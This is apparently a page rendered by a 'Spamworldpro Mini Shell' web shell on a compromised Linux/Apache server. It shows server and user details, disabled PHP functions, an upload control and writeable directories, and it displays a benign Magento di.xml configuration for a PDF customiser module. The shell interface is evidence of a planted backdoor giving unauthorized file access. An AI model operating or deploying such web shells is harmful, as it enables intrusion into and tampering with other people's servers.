Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/app/code/Cnc/PdfCustomiser/etc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/corals/old/app/code/Cnc/PdfCustomiser/etc/di.xml
<?xml version="1.0"?>
<!--
/**
 * Copyright (c) 2021 Kaliop Digital Commerce (https://digitalcommerce.kaliop.com) All Rights Reserved.
 * https://opensource.org/licenses/OSL-3.0  Open Software License (OSL 3.0)
 * Krzysztof Majkowski <[email protected]> <[email protected]>
 */
-->
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd">
    <preference for="Fooman\PdfCustomiser\Block\Totals" type="Cnc\PdfCustomiser\Preference\Block\Totals"/>
    <preference for="Fooman\PdfCustomiser\Block\Invoice" type="Cnc\PdfCustomiser\Preference\Block\Invoice"/>

    <type name="Fooman\PdfDesign\Model\AlternativeDesign">
        <arguments>
            <argument name="templateFiles" xsi:type="array">
                <item name="table-invoice" xsi:type="string">Fooman_PdfCustomiser::pdf-alt/table-invoice.phtml</item>
            </argument>
        </arguments>
    </type>

    <preference for="Magento\Ui\Component\Wysiwyg\ConfigInterface" type="Cnc\PdfCustomiser\Model\Wysiwyg\Config"/>
    <type name="Cnc\PdfCustomiser\Ui\Component\Form\Element\Wysiwyg">
        <arguments>
            <argument name="wysiwygConfig" xsi:type="object">Cnc\PdfCustomiser\Model\Wysiwyg\Config</argument>
        </arguments>
    </type>
    <type name="Cnc\PdfCustomiser\Model\Wysiwyg\Config">
        <arguments>
            <argument name="windowSize" xsi:type="array">
                <item name="height" xsi:type="number">600</item>
                <item name="width" xsi:type="number">1000</item>
            </argument>
        </arguments>
    </type>
    <type name="Magento\Sales\Block\Adminhtml\Order\Invoice\View">
        <plugin name="cnc_pdfcustomiser_adminhtml_order_invoice_view_plugin"
                type="Cnc\PdfCustomiser\Plugin\ViewPlugin"
                sortOrder="100"/>
    </type>
</config>

Spamworldpro Mini